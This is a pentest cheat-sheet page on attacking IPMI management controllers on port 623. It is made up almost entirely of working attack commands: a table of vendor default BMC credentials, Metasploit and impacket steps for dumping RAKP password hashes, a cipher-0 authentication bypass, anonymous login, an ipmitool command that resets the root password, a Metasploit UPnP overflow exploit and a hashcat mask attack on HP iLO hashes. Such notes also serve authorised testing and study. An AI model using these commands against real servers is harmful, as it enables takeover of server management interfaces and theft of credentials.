IPMI Pentesting (Port 623) | h4rithd Pentest Notes

Vendor	Username	Password	Notes
Supermicro	`ADMIN`	`ADMIN`	Some newer models use unique passwords.
IBM / Lenovo	`USERID`	`PASSW0RD`	Common for Flex System x hardware.
pfSense Netgate	`ADMIN`	Varies	Reset using `ipmitool`. Default ID is `2`.
Quantum VS4160-HCI	`ADMIN`	On system label	Change via VS-Settings Menu.
Quantum VS1110-A	`ADMIN`	`BMCadmin1`	Change via Advanced Menu.
Blackcore	`admin`	`admin123`	For SPR-M, SPR-X, RPL, 3100 series.
Nutanix	`ADMIN`	Node serial number	Use node's serial in caps.
Datto	Provided by Datto	First 16 chars of backup-admin	Changes periodically.
Dell	`root`	`calvin`	Default for iDRAC systems.
Cisco	`admin`	`password`	Common for UCS servers.
HP / HPE	`Administrator`	Unique on system label	Often randomized for iLO.

Enumerations

bash3 lines

## ------------------| Version Detection
sudo nmap -sU --script ipmi-version -p 623 <IP>
use auxiliary/scanner/ipmi/ipmi_version

Dumping Hashes

bash9 lines

## ------------------| Using Metasploit
use auxiliary/scanner/ipmi/ipmi_dumphashes

## ------------------| Using ipmitool
ipmitool -I lanplus -H <IP> -U <USER> -P <PASS> user list 1

## ------------------| Using impacket
ipmi_hash_dump.py <IP> -u <USER> -p <PASS>
rakp.py <IP>

Vulnerabilities

bash21 lines

## ------------------| Change password for root user
ipmitool -I lanplus -C 0 -H 10.10.11.124 -U root -P root user set password 2 newpassword

## ------------------| IPMI Authentication Bypass via Cipher 0
use auxiliary/scanner/ipmi/ipmi_cipher_zero
ipmitool -I lanplus -C 0 -H 10.10.11.124 -U root -P root user list #C 0 to dump a list of users.

## ------------------| IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval
use auxiliary/scanner/ipmi/ipmi_dumphashes
set OUTPUT_HASHCAT_FILE cat-hash
set OUTPUT_JOHN_FILE john-hash
ipmitool -I lanplus -C 0 -H 10.10.11.124 -U root -P root user list

## ------------------| IPMI Anonymous Authentication
ipmitool -I lanplus -H 10.10.11.124 -U '' -P '' user list

## ------------------| Supermicro IPMI UPnP
use exploit/multi/upnp/libupnp_ssdp_overflow

## ------------------| Crack HP iLO default password
hashcat -m 7300 hases.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u